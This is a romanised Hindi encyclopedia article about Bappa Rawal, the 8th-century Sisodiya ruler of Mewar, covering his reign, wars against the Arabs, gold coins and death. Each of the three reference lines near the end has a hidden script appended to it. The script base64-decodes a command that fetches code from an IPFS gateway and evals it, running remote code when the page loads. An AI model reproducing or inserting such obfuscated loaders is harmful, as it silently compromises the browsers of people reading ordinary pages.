बप्पा रावल
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bappa raval (shasanakal 734-753) sisodiya rajavansh meva d ka pratapi shasak tha.[1] udayapur (meva d) riyasat ki sthapana athavian shatabdi mean sisodiya rajapootoan ne ki thi. bappa raval ko 'kalabhoj' bhi kaha jata tha. janata ne bappa raval ke prajasanrakshan, desharakshan adi kamoan se prabhavit hokar hi ise 'bapa' padavi se vibhooshit kiya tha.
karnal t aaud ke anusar sanh 728 ee. mean bappa raval ne chittau dagadh ko rajapootane par rajy karane vale maury vansh ke aantim shasak man maury se chhinakar guhilavanshiy rajy ki sthapana ki.[2]
rajyakal
maharana kuanbha ke samay mean rachit ekaliang mahatmy mean kisi prachin granth ya prashasti ke adhar par bappa raval ka samay sanvat 810 (san 753) ee. diya hai. ek doosare ekaliang mahatmy se siddh hai ki yah bappa raval ke rajyatyag ka samay tha. yadi bappa raval ka rajyakal 30 sal ka rakha jae to vah sanh 723 ke lagabhag gaddi par baitha hoga. meva d mean bappa raval se pahale usake vansh ke kuchh pratapi raja bhi ho chuke the, kiantu bappa raval ka vyaktitv un sab rajaoan se badhakar tha. us samay tak chittau d ka mazaboot durg maury vansh ke rajaoan ke hath mean tha. paranparaoan se yah prasiddh hai ki harit rrishi ki kripa se bappa ne man maury ko marakar is durg ko hastagat kiya.
t aaud ke anusar, raja man maury ka vikram sanvat 770 (san 713 ee.) ka ek shilalekh mila tha jo siddh karata hai ki bappa raval aur man maury ke samay mean vishesh aantar nahian hai.
araboan ka akraman
yah anuman hai ki bappa raval ki vishesh prasiddhi araboan se saphal yuddh karane ke karan huee. sanh 712 ee. mean bappa raval ne muhammad bin qasim se siandhu ko jita. araboan ne usake bad charoan or dhave karane shuroo kie. unhoanne chav doan, mauryoan, saiandhavoan, kachchhelloanshh aur gurjaroan ko haraya. marava d, malava, meva d, gujarat adi sab bhoobhagoan mean unaki senaean chha geean. rajasthan ke kuchh mahan vyakti jinamean vishesh roop se pratihar samrath nagabhatt pratham aur bappa raval ke nam ullekhy haian. nagabhatt pratham ne araboan ko pashchimi rajasthan aur malava se mar bhagaya. bapa ne yahi kary meva d aur usake asapas ke pradesh ke lie kiya. maury shayad isi arab akraman se jarjar ho ge hoan. bapa ne vah kary kiya jo maury karane mean asamarth the, aur sath hi chittau d par bhi adhikar kar liya. bapa raval ke muslim deshoan par vijay ki anek dantakathaean araboan ki parajay ki is sachchi ghatana se utpann huee hoangi.
bappa raval ke sikke
gaurishankar hirachand ojha ne ajamer ke sone ke sikke ko bapa raval ka mana hai. is sikke ka tol 115 gren (65 ratti) hai. is sikke mean samane ki or oopar ke hisse mean mala ke niche shri bopp lekh hai, baee or trishool hai aur usaki dahini taraph vedi par shivaliang bana hai. isake dahini or nandi shivaliang ki or mukh kie baitha hai. shivaliang aur nandi ke niche dandavath karate hue ek purush ki akriti hai. sikke ke pichhe ki taraph chamar, soory, aur chhatr ke chihhn haian. in sabake niche dahini or mukh kie ek gau kh di hai aur usi ke pas doodh pita hua bachh da hai. ye sab chihn bappa raval ki shivabhakti aur usake jivan ki kuchh ghatanaoan se sanbaddh haian.
mrityu
bappa raval ka dehant nagada mean hua tha. nagada mean usaki samadhi sthit hai.[1]
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tika tippani aur sandarbh
mool path - sharma, dasharath “khand 8”, hindi vishvakosh, 1967 (hindi), bharatadiskavari pustakalay: nagari pracharini sabha varanasi, prishth san 191.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 1.0 1.1 bappa raval (hindi) (ech ti em el) yoonik aidiya. abhigaman tithi: 27 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ bappa raval (hindi) jnan darpan. abhigaman tithi: 27 aprॅl, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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